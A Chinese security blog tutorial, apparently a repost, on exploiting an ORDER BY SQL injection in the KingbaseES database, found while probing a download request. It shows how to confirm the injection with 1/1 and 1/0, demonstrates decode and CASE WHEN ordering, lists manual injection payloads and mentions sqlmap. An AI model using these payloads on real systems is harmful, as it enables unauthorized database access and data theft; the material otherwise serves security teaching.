全网稀缺教程-国产数据库人大金仓 KingbaseES Order By 注入

admin 2022年12月31日12:48:35全网稀缺教程-国产数据库人大金仓 KingbaseES Order By 注入已关闭评论533 views字数 1808阅读6分1秒阅读模式

长夜漫漫,无心睡眠,不如来一个渗透测试。


我点点停停,不敢冒昧再前行,濛濛细雨无情的迷离我眼睛。


咿呀,这是啥?


图片


下载按钮抓包看看


图片


卧槽,有注入!


图片



还是国产数据库人大金仓 KingbaseES


咋办?


首先来看看,如何判断注入?


对于字符型注入,可以使用 1/1 和 1/0 进行判断



存在注入,而且是字符型注入

其次,来看国产数据库人大金仓 KingbaseES的SQL语法


MySQL中的field()函数,可以用来对SQL中查询结果集进行指定顺序排序。
函数使用格式如下:

order by (str,str1,str2,str3,str4……),str与str1,str2,str3,str4比较,其中str指的是字段名字,
意为:字段str按照字符串str1,str2,str3,str4的顺序返回查询到的结果集。如果表中str字段值不存在于str1,str2,str3,str4中的记录,放在结果集最前面返回。

对于kingbaseES数据库没有专门的函数来做order by的自定义排序,但可以通过在order by之后用case when 或 decode来做自定义排序。

测试案例:

数据库版本:

prod=# select version();
version


Kingbase V008R003C002B0061 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46), 64
-bit
(1 row)

测试数据表:
prod=# \dt
List of relations
Schema | Name | Type | Owner
--------±------------±------±-------
PUBLIC | NEWPRODUCTS | table | system
PUBLIC | PRODUCTS | table | system
PUBLIC | PROVINCES | table | system
PUBLIC | t1 | table | system
PUBLIC | test1 | table | system
(5 rows)

默认排序:
prod=# select * from t1 order by name;
id | name
----±-----
10 | a
20 | b
30 | c
(3 rows)

decode自定义排序:
prod=# select * from t1 order by decode(name,‘b’,1,‘c’,2,‘a’,3);
id | name
----±-----
20 | b
30 | c
10 | a
(3 rows)

可以使用desc排序

prod=# select * from t1 order by decode(name,‘b’,1,‘c’,2,‘a’,3) desc;
id | name
----±-----
10 | a
30 | c
20 | b
(3 rows)

case when自定义排序:
prod=# select * from t1 order by
prod-# case
prod-# when name=‘b’ then 1
prod-# when name=‘a’ then 2
prod-# when name=‘c’ then 3
prod-# end;
id | name
----±-----
20 | b
10 | a
30 | c
(3 rows)

prod=# select * from t1 order by
prod-# case
prod-# when name=‘b’ then 1
prod-# when name=‘a’ then 2
prod-# when name=‘c’ then 3
prod-# end
prod-# desc
prod-# ;
id | name
----±-----
30 | c
10 | a
20 | b
(3 rows)

通过以上信息,可以判断字段数目。

最后,我们这里可以使用手工测试。

根据字段数据可以手工测试。

decode(YHLX,'a',1,'b',2,'c',3,'d',4,'e',5,'f',6,'g',7)

case when YHLX='a' then 1 when YHLX='b' then 2 when YHLX='c' then 3 when YHLX='d' then 4 when YHLX='e' then 5 when YHLX='f' then 6 when YHLX='g' then 7 end

(SELECT (CASE WHEN (4780=4780) THEN 4780 ELSE 1/(SELECT 0) END))

当然了,也可以使用sqlmap

说是国产数据库,但是估计和PostgreSQL有血缘关系,sqlmap会把她识别成PostgreSQL。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月31日12:48:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   全网稀缺教程-国产数据库人大金仓 KingbaseES Order By 注入https://cn-sec.com/archives/1490979.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.